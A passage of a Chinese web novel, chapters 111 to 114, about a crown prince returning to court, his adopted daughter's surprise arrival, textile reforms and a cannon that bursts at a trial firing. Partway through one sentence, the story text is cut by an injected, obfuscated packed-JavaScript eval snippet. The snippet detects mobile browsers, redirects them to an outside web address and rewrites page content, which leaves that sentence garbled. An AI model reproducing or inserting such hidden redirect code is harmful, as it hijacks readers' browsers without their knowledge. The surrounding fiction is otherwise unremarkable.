萧玠道:“湿冷,我做了新皮毛,倒也不觉得难捱。那边气候湿润,肺里觉得好多了。” 萧恒问:“想吃馎饦么?这些年在南方,只怕少吃到。” 萧玠颔首,笑道:“也没有那么少吃。” 萧恒了然,“小郑?” 萧玠只含糊答一声。 萧恒似乎想问些什么,到底没有开口,只道:“这几天地方官进京述职,我叫他们也去东宫跟你汇报一遍。折子也叫你秋翁送过去,你学着看。” 萧玠有些意外,旋即惊喜起来。父亲不再对他过度保护,而是选择放手。这说明父亲认可他做的事,打心里把他当作事业的继承人。 萧玠看着父亲,突然有眼泪在眼眶打转,问:“头发怎么又白了呀。” 萧恒笑笑:“你长大了,爹不就老了?” 萧玠道:“阿耶保养的比你都好。” 面对儿子的试探,萧恒只是笑道:“那好啊。” 萧玠看着案上书信,再忍不住,问:“都通了信,不见一面吗?” 萧恒目光也落在信笺上,笑道:“不了。” 他抬手擦了擦萧玠的脸,笑着叹气:“好孩子,不哭了。你能好好的,是我们最高兴的事。常给他写信,以后每年都抽些时间,去那边看看他。” *** 萧恒明旨已下,各地官吏在大朝会后,俱往东宫述职,如此十日不辍。这天将近黄昏,萧玠有些喉干,便问瑞官:“后头还有几位?” 瑞官笑道:“还有一位,只是今晚大抵要添双碗筷。” 他说着,帘已打起,一袭深青官袍被敛入屋里。那人揖道:“潮州刺史崔鲲,参见殿下。” 萧玠大喜过望,“鹏英快来,晚上想吃些什么?” 崔鲲也不客气,径直从他对面坐了,道:“殿下宫中有道豆腐丸子,臣在外想得很。还有酒,今晚也是要吃一壶的。” 萧玠笑着嘱咐瑞官,又问:“你堂堂四品大员,家里竟还短了酒吃?” “你闺女鼻子灵,吃酒就不叫抱。”崔鲲道,“看这架势,你俩三年里还真滴酒未沾?” 萧玠道:“我只吃些素酒,他么,他陪着我。” 崔鲲笑得有些古怪,倒没有多说,将奏折递过去,道:“先说正事。潮柳一带打膏进展顺利,但西南山区却是一块硬骨头难啃。如今膏匪勾结,要彻底打膏,必须剿匪。不知殿下是否听过白鹤山。” 萧玠颔首,“我听阿爹讲起过,白鹤山就是与当时的英州刺史柴有让勾结,成一地势力。对了,他们还跟影子有所牵连。” 崔鲲道:“玉升年间,陛下发兵剿灭白鹤山,匪首鹤老战死,其幼子和残余部众逃脱,近年来死灰复燃,颇为棘手。潮州已经按照咱们先前议定的章程,组织起专门的剿膏军队。” 萧玠问:“成效如何?” “屡立奇功,但死伤惨重。”崔鲲叹口气,“山中皆是杀人不眨眼的悍匪,咱们埋伏进去的暗线但被发现……几乎没有全尸。” 萧玠沉默许久,问:“家眷如何安置?” 崔鲲道:“由州府供养至老,但他们的身份,不能公开。” 萧玠道:“以后除州府外,东宫会再拨一笔钱款。这支队伍是我最初拍的板,他们的遗属也应当由我照拂。” 两人静了一会,萧玠又问:“柳州的阿芙蓉作业停止后,又怎么安置的?我听陛下说,柳州这几年又繁盛了起来。” 崔鲲道:“纺织。” “柳州沙土适宜罂粟生长,更利于棉花种植。如今由州府倡导,农户们意愿很高。”崔鲲道,“除此之外,柳州也更新了纺织作业方式。殿下或许不知,要织就一匹棉布,先要轧棉,也就是让棉籽脱离棉花,再而弹棉花,然后纺成棉线,再把棉线织成棉布。这样一套流程下来,耗费不少人力。如今一位女官改良了技术,譬如轧棉,从前是以手剥去籽为主,如今她制作出一种新的轧棉机,由两人手摇脚踏即可工作。两人一日所轧棉花,当原本手剥五十人之数。” 萧玠大惊,“这么多?” 崔鲲道:“这还不是最惊人的。除此之外,她还遍阅农书,看到古书记载一种水转大纺车,借助水力即可传动纱锭纱框。但这种纺车只适宜纺麻,不适宜纺棉,她就更改尺寸,将纺车拆解成三辆小型纺机。如果安装完成,当弦随轮转,众机皆动,不劳而毕。” 萧玠问:“不用人力,只用水力,就能纺成棉布?” 崔鲲颔首,“这种纺车还在调整构造,尚未试验成功。但她的轧棉机和脚踏纺车在去年夏天已经投入使用,使柳州一州之境,一跃而成天下半数棉布之乡。陛下大悦,在柳州特设织造府,以其为织造大史,算是名动九州。” 萧玠道:“如此大贤,不知可否一见?” 崔鲲笑道:“如此大贤,还要多谢殿下发掘。” 萧玠不解:“我?” “是,若无殿下一时恻隐,她只怕要孤身返乡,终身埋没了。”崔鲲眼神热亮起来,“虞三郎入殓时,郑宁之带来了他的大妹,名唤虞仙翚,今年已经十八岁。就是这样十八岁的娘子,已经名满天下,叫一众乡人敬称虞姑了。” 萧玠一时没能回神,问:“虞娘子在闺中擅长纺织么?” “殿下只知虞成柏是肃帝元老,虞山铭是怀帝原配,却不知虞成柏之妻、虞仙翚的祖母黄氏夫人,正是大梁脚踏纺机、织机的研制之人。”崔鲲道,“虞成柏和次子虞山铭战死后,黄夫人由虞山铖护送还乡,一直是一众孙女伴随左右。虞仙翚的纺织之才,亦是家学渊源。” 萧玠问:“她跟着你去的?” 崔鲲颔首,“当时她来找臣,臣也有些讶然,但虞娘子要为母发丧,还要照顾幼妹,倘若跟随亲戚回乡,只有出嫁一途。东宫虽有接济,但她不愿取用,说从小熟习文字,愿从臣身边谋事。当时潮州杂务颇多,臣怜惜她一个孤女,便叫她跟随臣做了女史。臣去视察潮州缫丝局,她便给出建议,不过一个月,便造出了轧棉机。” 萧玠惊得说不出话,对面崔鲲眼神明亮,继续道:“革新纺织技艺,只是虞织造的功劳之一。在陛下特设织造府后,虞娘子上书,请为民间聘请的织工高手设置官衔,其余录为吏员。如此以来,织造府上下俱为女官。” 崔鲲深吸口气,道:“殿下知道,陛下特设女科,但效用微乎其微,是千百年来读书入仕的枷锁限制,难以一朝打破。女子读书不易,在百姓眼中,女人当官不过是朝廷自欺欺人的幌子。但织造府女官一出,地方的娘子们备受鼓舞。做官对她们来说已经不是隔着鸿沟、想都不敢想的天外之事,是努力能得的可能。” 崔鲲声音微微颤抖:“殿下,她们看到了可能,就有希望,有了希望就会努力,但凡努力,何事不成?” 萧 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萧玠握住她的手,轻声道:“他虽是我的伴读,却不能陪我一辈子。该是我的辛苦,谁也替不得我。你说我不晓得你的对不住,其实你也不晓得,我有时候看着你,像挚友,像姐姐……我是没母亲的人,但有时候我觉得你像母亲。鹏英,你不晓得我对你有多么多的感激。能和你相交一场,是萧玠此生最大的福气。” 崔鲲抬袖擦了把脸,道:“太阳喊我娘,你再喊我娘,那不差辈了。” 萧玠道:“反正已经乱七八糟叫起来了。” 宫灯边,他们两个你看着我,我看着你,一起笑起来,笑得泪流满面。 崔鲲倾身时,萧玠闻到一股淡淡香气,是杜鹃花香。是胭脂吗,还是香膏?崔鲲素日不爱脂粉,是什么叫她有所妆扮呢?这到底是女儿家私事,萧玠也没有过问。 倘若她有所中意,也是一桩佳事。 崔鲲辞宫已至深夜,萧玠不放心,专程叫了自己的轿辇送她回去。瑞官替他打来水净面,笑道:“崔刺史真是个性情中人。” 萧玠谢过他,自己拧手巾揾面,道:“鹏英豁达,但心里不是不苦。她的女儿身刚被揭发出来,京中怎么说她,我知道一些。为了这个,她娘已经和她彻底断亲。她这么通透潇洒,也不得不跟你郑将军继续做夫妻。” 萧玠说着,想起郑绥的讲述。暂不和离是崔鲲亲口提的,在她辞潮回京的那个黄昏,郑绥替她检查蹄铁时,崔鲲冷静地对自己作出预判: “我娘应该不会再认我。如果现在和你和离,天底下没有我的容身之处。 “这场风波如果超过半年,我未必没有自尽的可能。郑绥,算我的请求,看在共事一场的情义上,给我托个底。” 郑绥说:“你放心去,我托到底。” …… 萧玠捧着那块手巾立了许久,一直未发一声。直到瑞官上前来捧铜盆,萧玠才醒神,道:“一会我自己倒吧,你早些歇息。” 瑞官道:“哪能叫郎君自己做这些。” 萧玠特意吩咐,但无外臣觐见,东宫上下一应不称奴婢,只称自己作郎君。萧玠笑道:“这有什么,只是以后劳烦你,水不用烧得那么热,我用温水就好。” 瑞官笑道:“六哥从前倒是常用冷水。” 萧玠又是一会没说话,低低道一声“是”。瑞官见他出神,以为他劳累,便要蹑步出去,又听萧玠叫道:“瑞官,咱们宫里还有降真香么?” 瑞官笑道:“有,我给郎君找去。” 他刚退出门,穿过廊下,突然听见院外一阵笃笃叩门之声。瑞官纳闷,难道是六哥又遣人送什么东西过来,但这个时辰…… 他边想边叫侍卫启开门闩。 宫门一开,瑞官嘴巴惊得老大。 *** 时近亥时,萧恒合上奏折,准备吹灯,忽然听见殿外一阵橐橐脚步声。 秋童快步赶来,上气不接下气:“陛、陛下,小郑将军刚刚执鱼袋夜入东宫,还、还……” 萧恒立即站起来,“还什么?你缓一缓,慢慢说。” 秋童咳嗽两声,道:“还抱着个女娃,约莫有三四岁年纪。龙武卫听得真真切切,那娃娃一见殿下,喊的是……阿耶。” 112.第 112 章 萧玠刚把旭章接在怀里,小姑娘就扭股糖似的搂住他脖颈。萧玠看向郑绥,做口型问:怎么了? 郑绥一手抚摸旭章后背,小声回道:“做噩梦了,非要找你,怎么问也不肯说。” 萧玠轻轻拍打她,哄道:“乖囡不怕,梦都是反的,阿耶在这儿呢。” 这一出动静不小,瑞官不好多问,先赶进来点灯。 降真刚烧了一点,满阁尽是淡淡甜香。萧玠正预备睡觉,放了发髻,只穿一件白罗袍子,抱着女孩坐到床边去哄。那位小郑将军也没怎么收拾形容,氅衣底下只是一身中单,看来也是从梦中惊醒匆匆赶来。 瑞官轻手轻脚掩门出去,正听见女孩问:“为什么一回长安,阿耶就不要我们了?” 萧玠笑道:“哪里不要你们?” 旭章吸吸鼻子,道:“阿耶都搬出来了,都不和我们一块睡了。” 萧玠道:“你爹不是在家么,娘也在家呢。” 郑绥自己倒了碗热水,端过来哄旭章吃,对萧玠道:“许久没见鹏英,有些认生。” 萧玠抱她坐在腿上,正想怎么哄,女孩突然仰起脸,脸上泪痕未干,带着哭腔问:“你们是不是要和离?” 萧玠一愣,下意识去瞧郑绥,已听旭章道:“在吴州的时候,小红阿姊就和我说,她爹娘和离前,娘也是自己搬走住了,白天也不回来,晚上也不回来……” 郑绥拍拍她肩膀:“好闺女,人家得先是夫妻,才能和离。” 旭章问:“你们不是夫妻么?” 郑绥难得结舌,道:“夫妻得是爹娘。” 旭章道:“那爹和娘是夫妻么?” 这是个好问题。 郑绥应也不是,不应也不是,又听旭章道:“小红阿姊说她爹妈从前是一床睡觉的。爹和阿耶一床睡觉,和娘都要分两个屋子。” 萧玠将她搂到怀里,温柔打断:“乖囡,等你大了就晓得了。你现在只需要知道,爹娘和阿耶都是疼你的人,都是陪你长大的人。” 旭章问:“那阿耶为什么不陪我们了呀,为什么要搬走?” 又绕回来了。 萧玠哄道:“囡囡不是爱吃酪么?阿耶家里有道糖蒸酥酪,阿耶回来给囡囡端酥酪吃呢。囡囡好好睡觉,明儿一早咱们吃酪。” 萧玠把床铺好,哄她钻被窝。旭章非要他搂着,萧玠便脱鞋上床,叫她像之前一样靠在怀里睡。等女孩呼吸渐趋悠长,萧玠抬头,见郑绥坐在床边撑着头捏鼻梁。 萧玠帮旭章掖好被,也坐起身,问:“你没陪着她睡?” 郑绥道:“到底回了京,快四岁的女孩儿,总得分床了。” 萧玠问:“鹏英呢?没看着她?” 郑绥失笑道:“我还没问你,她酒吃了多少?一回来逮住太阳就亲,那一身酒气,你闺女得躲她三天。” 萧玠也轻轻笑起来,掀被趿上鞋,仍在床边坐着,“小郑将军好大的威风,带着女儿无诏而入,学赵子龙七进七出呢?” 郑绥笑道:“之前又不是没入过。” 这话有些歧义,萧玠一时没说话,扭过脸看女儿。红帐上香囊低悬,底部流苏的影子正坠在两个人肩上,丝丝缕缕地缠绕。 片刻后,萧玠方转过头,道:“左右明日休沐,在这边凑合一晚吧。” 郑绥应一声,随萧玠起身去偏殿。萧玠开箱奁找出枕被,自己要帮他铺床。郑绥已经抢先一步,“我来。” 他将被褥抖好铺平,十分利落。萧玠也不与他抢,等他铺好被,将怀里枕头递过去。 郑绥安置好,问:“今日药吃了吗?” 萧玠应一声。郑绥又道:“天渐冷了,至少用温水。你别学陛下。” 萧玠笑道:“编排我爹,我找他告你。” 郑绥也笑道:“若听我的,任你告我。” 床已铺好,萧玠便有些讷讷,道:“你早些休息。” 郑绥颔首,道:“我送你回去。” 萧玠笑道:“这是我家,要你送我?” 虽这样讲,郑绥仍是送他出门,目送他进了阁子才关上房门。 旭章已在床里睡下,萧玠便放轻手脚。瑞官替他放帐吹蜡,笑道:“小郑将军是个贴心人。” 萧玠只笑一笑,并未多言。瑞官落帐,隐约见萧玠仍在床里坐着,不知在想些什么。 他正欲退下,突然听萧玠唤:“帮我找只香囊,那只放降真的香匣子也一并拿来,我要制香。” *** 萧玠许久不做香事,配香配到半夜未果,便要搁开睡觉。已往床边走,又折回来,连香囊带香料地藏到匣子,才脱鞋上床。 这些年搂着旭章睡惯了,乍回宫还有些不适应。这晚女儿在身边,萧玠难得一觉天明。他一睁眼,隐隐听见屋外有响动,便披衣起身。还不到门前,就听见瑞官低声应答什么。 外头显然站着人,手抬起又放下,却不知要不要叩门。 萧玠打开门,难得从他爹眼下瞧见两团乌青,身后还跟着他欲言又止的秋翁。他刚想开口叫人,便听屋里响起女孩焦急的声音:“阿耶,阿耶?” *** 秋童昨夜战战兢兢地禀报后,便见陛下抬步要走,又突然僵住,缓缓坐回椅中。 秋童试探道:“陛下,您……不去瞧瞧?这小郑将军大半夜的……” 说到这里他一下子住口。 就是因为大半夜,若撞见什么不该见的,他殿下那样薄的脸皮,还活不活了? 他心里着急,便听萧恒吩咐:“立即去太医署,把看顾太子身体的太医请来,连这些年的脉案一块带上。” 秋童有些不知所以,却依旧照办。这位太医很有德望,也很守规矩,在奉皇五年便看顾过秦灼的胎,郑永尚随秦灼南下后,也是由他照看萧玠的身体,宫闱内情知道一些。 他这次深夜面圣,还没来得及行礼,便听皇帝问出一个石破天惊的问题:“太子有没有怀胎的可能?” 别说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688625|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太医,连秋童都惊出一身冷汗。愣了好一会,秋童方听见太医道:“五年前玉陷园案后,臣就给殿下细细地断过脉,按理说,殿下应当不会怀娠。可……” 萧恒问:“可什么?” 太医欲言又止,还是道:“可秦公当年不是双身的时候,脉象也毫无异常。臣实在……” 萧恒默了很久,问:“如果太子怀胎,也要破腹?” “……是。” “他这身子骨受得住?得将养几年?会不会有什么遗症?” 萧恒一句比一句急切,太医躬身而立,已然满头大汗,斟酌道:“殿下离宫之时,身体亏虚得厉害。倘若真的破腹诞子,只怕不将养三个年头是不能好全的。具体是什么情况,臣得见过殿下,问诊后才能定夺。” 他和萧恒这么一问一答,秋童心中一片骇然。 三年,那女孩看上去约莫也三岁。这么看来,殿下当年离宫未必全为了虞闻道,说不定是发觉珠胎暗结,要将这个孩子保下来……是从前那沈氏罪人的?还是同小郑生了情愫,两人在外生育的孩子? 秋童心中一团乱麻,也劝不得萧恒去睡。萧恒就在椅子里坐,一动不动。秋童上次见他这形状还是在五年之前,萧玠遭逢大难、迟迟未醒的那个漫漫长夜。 好容易捱到天亮,萧恒才肯赶去东宫。见开门的是萧玠,浑身也没什么暧昧痕迹,秋童才略放一放心。可这颗心刚放下,就被女孩两声“阿耶”给再度吊起。 那女孩揉着眼睛跑来找萧玠,见这么多人围在门口,吓得直往萧玠怀里躲。 秋童深宫浸淫多年,早已练就一双火眼金睛,佯装目不斜视,用余光仔细打量。 那女孩生得十分玉雪可爱,脸蛋洁白红润,大眼睛乌黑扑扇,简直和萧玠幼时一个模子里刻出来的。 难道真是殿下亲生的女儿? 秋童正犯嘀咕,便见萧玠搂过女孩,轻轻道:“囡囡,问翁翁好。” 女孩仰脸问:“是阿耶的爹吗?” 萧玠颔首,秋童便听女孩怯生生叫:“翁翁好。” 这声一出,秋童简直不敢看萧恒脸色。半晌,萧恒才俯身蹲下,问:“你叫什么?” 旭章捏着萧玠袍角,嗫嚅道:“我叫太阳。” 萧玠见旭章畏缩,轻轻一捏她小手,道:“爹不是镇日夸你大大方方的吗?叫翁翁抱抱,翁翁喜欢你呢。” 或许因为萧恒脸上毫无笑意,旭章有些畏缩,到底张开手臂,上前搂住萧恒脖颈。萧恒垂下脸,秋童看不清他的神情,过了好半天,萧恒才把女孩抱在怀里站起来,问萧玠:“大号叫什么?” 萧玠道:“旭章。旭日,文章。” 萧恒情绪似乎没有波动,问:“叫你阿耶,她爹呢?” 萧玠道:“叫郑旭章。” 一出口,他便察觉萧恒似乎误会了什么,刚要解释,郑绥已经一只脚跨进门槛。 萧恒抱着旭章转身向门,当即听见女孩脆生生叫一句:“爹!” 113.第 113 章 秋童后背一凉,随萧恒看去,见郑绥没有按照觐见规制穿着朝服,只穿一件竹青单袍,脸颊似乎略有潮意,瞧着刚盥漱完毕。 郑绥显然没料到萧恒赶这么大早,忙要撩袍下跪,萧玠已经开口:“罢了。” 这就护上了。 秋童心中更分明,见萧恒横目看萧玠,萧玠便硬着头皮将旭章接过来,道:“阿爹,当着孩子。” 萧恒脸色已经很不好看,勉强缓和语气,问旭章:“想吃些什么,翁翁使人给你做。” 旭章看看萧玠,大着胆子道:“阿耶说,这里有糖蒸酥酪。” 秋童忙笑道:“有,都有,瑞官,赶紧领郡主去吃酪。什么果子点心,知会小厨房热腾腾地端上来。” 瑞官要领旭章,旭章犹拉着萧玠。萧玠微笑道:“去吧,给她炖盅牛乳蛋,少叫她吃甜。” 郑绥也冲她颔首,旭章方由瑞官牵着,一步三回头地出了门。 殿门甫一关上,屋里便如同霜冻,萧恒几乎是瞬间冷了脸色,往上方坐了,向太医指了指萧玠。太医冲萧玠一躬身,请他坐下,替他诊脉。 这副架势闹得萧玠有些糊涂,又有些心虚,频频去看郑绥。郑绥也呼吸微促,分明是紧张的神情。他们这眉来眼去叫秋童收尽眼底,未免有些迷糊。 瞧他二人情态,的确不很像相好许久,但对那女孩的亲昵宠爱又难以作伪……难不成这两人也生了一次意外,一夜颠鸾倒凤结下根果,按殿下这身子骨又决计打不得,只能这样养下来。两个人情未浓时,却这样阴差阳错做了父亲…… 秋童在心中推演出个大概,便见太医冲萧恒摇头。萧恒神色依旧未舒,对萧玠道:“过来解衣,我瞧瞧肚子。” 萧玠一下子臊红了脸,低声叫道:“阿爹,你干什么呀!不是我生的,我拿什么生呀!” 萧恒不为所动,语气加重几分:“过来。” 萧玠咬紧嘴唇,磨蹭着挪动脚步,郑绥当即背过身去。那边一阵衣衫窸窣,秋童发觉他胸口起伏明显起来,呼吸也微微加紧。 萧恒仔仔细细检查几遍,的确没见着疤,又按了按萧玠腹部,也没察觉异样,这才松了口气,帮萧玠拢上衣裳。 萧玠夺过衣带,匆匆将衣服穿好,这一会脸颊已如滴血,“你都乱想什么呀,我怎么……我怎么会……” 萧恒清了清喉咙,叫太医回去,声音已经彻底缓和:“郑郎坐。你三年没回家,又带回一个女儿,我能不瞎想吗?” 萧玠讶然:“旭章的事,阿爹不知道?” 他转脸去看郑绥,郑绥也有些吃惊:“臣以为殿下同陛下回禀过了。” 萧玠笑了笑:“我也以为你同陛下讲了。” 二人这才把养女之事同萧恒一五一十讲明。秋童忙打圆场:“如此看来,郡主和殿下也是天定的缘分。” 萧玠道:“阿爹,我和郑绥的意思,不要将旭章算进宗牒里。她如今是郑氏的女儿,再者,往后的封号还是越少越好。” 萧恒颔首,“既叫你阿耶,你说了算。” 他看看郑绥,又将目光落在萧玠身上,“你们两个……” “阿爹!”萧玠急声打断。萧恒也不再多问,靠着椅子揉了揉脑仁。 萧玠罕见他如此疲惫的神态,忍不住道:“阿爹,你别是一晚上眼都没合,净想这件事了吧?” 萧恒看他一眼,重重叹口气:“你要我的命。” 说罢就起身,嘱咐道:“今日惊了孩子,你们好好哄哄。她如今见我也怕,还是再待几日,接她来住一阵。” 萧玠从没见过父亲这么风风火火,忙问:“这就回去?早饭就要好了。” 萧恒回头看他一眼,再叹一声,道:“回去合会眼。” 他步子快,秋童忙要扶他,触碰到萧恒手臂时,发觉他犹在微微颤抖。两人走至庭中,听得女孩越过门槛的奔跑声,和风一般轻快的欢笑声。萧恒步子一停,秋童也随之回首,见阁门将室内框出一幅图景,旭章拱到萧玠怀里,反被郑绥抱到膝上,将刚布好的粥点推到萧玠面前。 萧恒静静看了一会,问:“叫太阳?” 秋童应道:“是。” 萧恒有一会没说话,又道:“阿玠今年也二十出头了。” 秋童道:“是,殿下出生的时候,陛下不也是这个年纪吗。” 萧恒点点头,嘴唇抿紧,眼睛却望得很远。据秋童这二十年来的经验,刚刚从他心里滚过的念头一定有关秦灼,但和从前一样,他什么都不会说。 萧恒收回目光,重新迈动脚步。秋童察觉他的手臂已经停止颤抖,却像倦鸟的翅膀,格外沉重。 *** 皇太子的还朝打破了其命不过弱冠的谶言,人们只以为他三年里藏于深宫,故而对他再次出现时展现的政治华彩大为震惊。春祭之后,太子上朝,上呈谏言二十三条,史称“东府新议”,涉及底层官吏作业现状、运河治理情况及诸多民生问题,对策翔实,由皇帝批准,六部配合执行。 前一段,地方官赴东宫述职已经是一个明显的信号,皇帝要着重培养太子的政治素养。在此之前,皇帝已经有过将批复的奏折传至东宫命太子参议的先例,但太子并没有获得直接的审批权力。当时皇帝仍着重借助东宫的“小朝廷”机构,对太子展开执政流程的训练。但东府新议后,皇帝颁布一条前所未有的政令:朝廷奏折需分出一半传递东宫,在太子批阅后再达甘露殿,由皇帝作出最后批复。这一举动持续到奉皇纪年末太子正式监国为止,民间称之为“两宫并立”。 兵部奏疏也随同大小奏折传入东宫,在一个月的批阅后,萧玠发现了父亲加强军备的意图已经成为国之重策,并意识到兵部已经针对齐国和西琼进行专门的军事训练。 他尚未知晓父亲因何作出下次战争即将出现的判断,这是可以通过沟通获取的信息,当务之急,是进行进一步的军力对比。 所有机要向太子开放是皇帝的明旨,萧玠很快就从兵部调出相关材料,并有几名主事官吏赴东府应询。 兵部尚书闵宗秀率部赶往东宫时已近黄昏,由瑞官指引穿过春明池时,先看到夕阳下一辆辘辘转动的风车。 随风车旋转,池水河水被抽入竹筒,又带动机轴转动不远处一架大型机器。闵宗秀走近才发现,那居然是一座巨型纺车。滚筒纺竿竟能自行运转,纺锭之上麻线随之抽动,竟真有布匹从机上纺成。 闵宗秀问:“这就是传说中的虞姑车么?” 内侍瑞官答道:“这是虞姑前年复原的水转纺麻机,真正的虞姑车还没组装出来。” 瑞官先引他去偏殿,道:“殿下正在诵经,请诸位稍作等候。” 闵宗秀躬身应是,听到有若有似无的诵经声自门窗缝隙飘入。约莫再过半盏茶时间,瑞官复来,引众人入阁觐见。 这一会天黑下来,阁中已明蜡烛,皇太子坐在一面山水屏风前,穿一身素色圆领袍服,衣衫宽大,倒显得人更清瘦。闵宗秀察觉,太子还朝以来,周身药气里掺杂了些类似乳香檀香混合的气息。这样一个杀人如麻的储君,居然越来越像一座慈眉善目的观音。 太子笑道:“诸位请坐。听闻陛下下达过武器改良的旨意,这几天也见了兵部的奏折,个中事宜,还想请教一二。” 闵宗秀忙道:“殿下但问无妨。” 太子道:“这次军械制作是谁主事?” 闵宗秀道:“本该是工部监管的军器监一手操办,但陛下为了让武官迅速熟悉军用设备,便命兵部协助。这次的主事正是军器监卜南山及微臣。” 太子问:“怎么不见卜监前来?” 闵宗秀笑道:“殿下不知,他着实是个怪人,整日痴迷于武器作业,若非明旨宣诏,只怕难将他从武库中拉出一步。” 太子亦笑道:“卜监尽职尽责,是我朝之幸。我看尚书的奏疏里写道,新改良的神威将军炮已经组装完成,可以用作山城强攻,威力竟至于从前的五倍不止。” 闵宗秀道:“的确如此。” 太子奇道:“还望尚书讲解一二。” 闵宗秀应是,道:“神威将军炮原长不足三米,口径三余寸,所能补充弹药最重不过四斤。如今卜监延长炮管,口径也扩增到五寸,炮膛容量也到了六斤。而且整座铜炮重量减轻,从原本的两千余斤削减到如今的一千八百斤。车炮运行更轻便,所装火药却更多,威力也就更大。” 太子笑道:“这是利国利兵的大事,不知我是否有这个缘分,能亲眼一观否?” 闵宗秀忙笑道:“明日郑绥将军奉旨督查炮队演练,正要看这口神威将军炮。若殿下也能亲至,是臣等的荣幸。” 太子 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萧玠并没有禁止百姓围观,只命巡防营列队分隔,以防意外发生造成伤亡。炮车一般安置在炮台,人们很少有见到火炮的机会,那铁皮铜轮的大家伙一推出城门就赢得惊呼一片。据说它头上插的那根烟囱就能轰塌半个山头,这是完全超出众人认知的事。 火炮推出后,龙武卫中郎将郑绥奉旨到场。 这位御前红人似乎和百姓并不陌生。他一出来,原本拘谨的民众突然松快起来,纷纷高呼小郑将军。郑绥便放慢马蹄,像是和许多人都熟识,问官府有没有修缮这家的危房,问那家走丢的牛有没有找到,又问前些天下雨,清明渠疏通后地里涝得严不严重。 闵宗秀听闻的上一桩有关郑绥的轶闻,还是他开春回京时道旁娘子们掷果盈车。那时候大伙还好奇,郑绥这次竟没快马跑掉,后来才知他马后车中正有东宫坐镇。闵宗秀本以为百姓对郑绥的欢迎和从前一样,只为他尊贵的地位和俊秀的皮囊,如今看来竟是切实的拥戴,甚至有几分对今上微时的影子。 郑绥行走御前,他如今的名望皇帝不可能不知道。 那皇帝对此的态度不仅是放任,还有可能是推助。 这极大地挑战了闵宗秀的君臣观念。君权不可侵犯,皇帝就算把民心让渡给作为继承人的储君他都会觉得匪夷所思,更别说今上竟有意培植一个新的民众将军,手握实权,并允许他取得和自己年轻时相当的位置。 君舟民水,赢得民心等于赢得天下,这对任何一个当政者来说都是极其危险的事。 闵宗秀同兵部侍郎笑道:“陛下很看重郑将军。” 侍郎亦笑答:“可不是,陛下若有位公主,只怕也要尚给他。” 闵宗秀正要开口,突然听得不远处高呼一声“皇太子驾至”,便见安化门外,太子车驾在东宫卫簇拥下驶入众人视线。 车轮声一响,郑绥便翻身下马,快步走到车前亲手拂开车帘。他没有行礼,太子亦未怪罪,对他露出一个不为外人明了的笑容,由他搀扶下车。 萧玠不叫人跪,径直往队前走去,看向门前五口火炮,笑道:“的确比从前要小一些。这一排火炮,当真能作开山之用?” 闵宗秀笑道:“臣等不敢欺君,还请殿下试火,一观便知其效。” 萧玠道:“将军代天督查,还是将军来吧。” 他叫郑绥将军时语气有些不同,闵宗秀却说不清究竟不同在何处,便听郑绥鼻中轻轻一嗤,分明是笑意,也不谦让,自己站到火炮后,擦亮火折。 火线点燃的一刻,萧玠似乎看到太阳爆炸似的闪烁一下,紧接着,他听到一阵闷隆的响声,那巨大的冲击之感似乎将炮筒都能迸成碎片。 ……不是感觉。 炮火大响之际,炮身轰然炸裂,地动山摇的震感和人群奔逃叫喊声同时爆开。萧玠一下子被人扑到地上,被那具身体死死罩住。 一切发生的太快,动乱不过瞬息之间,但他确切记得是郑绥点的火——郑绥就站在火炮边! 萧玠终于找到自己的声音,拼命大叫起来:“卫队!郑将军呢,救郑将军!百姓……快疏散百姓!” 他被人箍住双手难以挣脱,脑中渐渐清明时,终于听见耳边有人急切叫道:“是我,是我!” 萧玠抬头,见是郑绥撑在自己上方,一下子瘫在地上,看着他的脸,不知是笑出来还是哭出来。 114.第 114 章 郑绥护住萧玠,背部也受了不轻不重的伤,已经抬进东宫。萧恒闻讯赶去,亲自为其清创上药,并令太子全程陪同。 处理完这些事情,萧恒再回甘露殿已至傍晚。 他一跨进殿门,等候已久的兵部众员便哗啦啦跪了一地。萧恒没叫人起身,开门见山道:“神威炮是怎么回事。” 闵宗秀爬行上前,叩首道:“臣罪该万死!但陛下容禀,将军炮改良之后试用三次,三次都没有任何差错。臣马上命人去检视炮腔,一定……” 萧恒打断他:“尉迟将军,你来给闵尚书说说,现场都发现了什么。” 尉迟松早已侍立一旁,当即抱拳道:“是,护送殿下回宫后,臣立即率部检视神威炮。发现炮身有多处灌补痕迹,炮筒也并非纯铜,碎片渣滓过多。从炸碎的炮膛碎片来看,膛内高低不平,且遍布蜂房状孔眼,有一处空洞内竟能盛三碗水。臣又检视剩余四门火炮,有一门炮尾四周走火,一门门眼两处走火,剩余两门虽无事故,但吃药过多,显然内有孔眼。这五门神威将军炮,均系次等,全然不符朝廷规制。” 萧恒点点头,看向闵宗秀,“朝廷这几年给兵部和军器监拨了多少钱?” 闵宗秀冷汗直流,“陛下……” “回答。” “……一百万两。” “一百万两交在你闵大尚书手里,就造出这么一批东西。”萧恒看他,“贪啦?” 闵宗秀头如捣蒜,连胜叫道:“陛下!臣万万不敢有此念头啊!臣只是总军械之事,但兵器铸造都是由军器监卜南山一手操办,个中事宜,臣不曾经手啊!” 萧恒问:“卜南山何在?” 尉迟松道:“已押解入宫,听候陛下召唤。” “叫他进来。”萧恒看向闵宗秀,目无感情,“领闵尚书去诏狱冷静冷静,好好想想他这顶乌纱是为谁戴的。” 龙武卫押解闵宗秀退下后,萧恒坐到椅中,双掌相扣时像抓了一把刀。不一会,卜南山由内侍引入殿中。 他约莫年过不惑,和这个年纪和官衔的无数吏员一样,长着一张介于文臣耿介和武将粗豪之间的模糊疲惫的脸。 卜南山撩袍下跪:“臣拜见陛下。” 萧恒单刀直入:“神威炮监造之事由你负责。” “是。” “试火五门,均为次等。”萧恒沉声道,“朝廷的真金白银,就造出这么一批东西。” 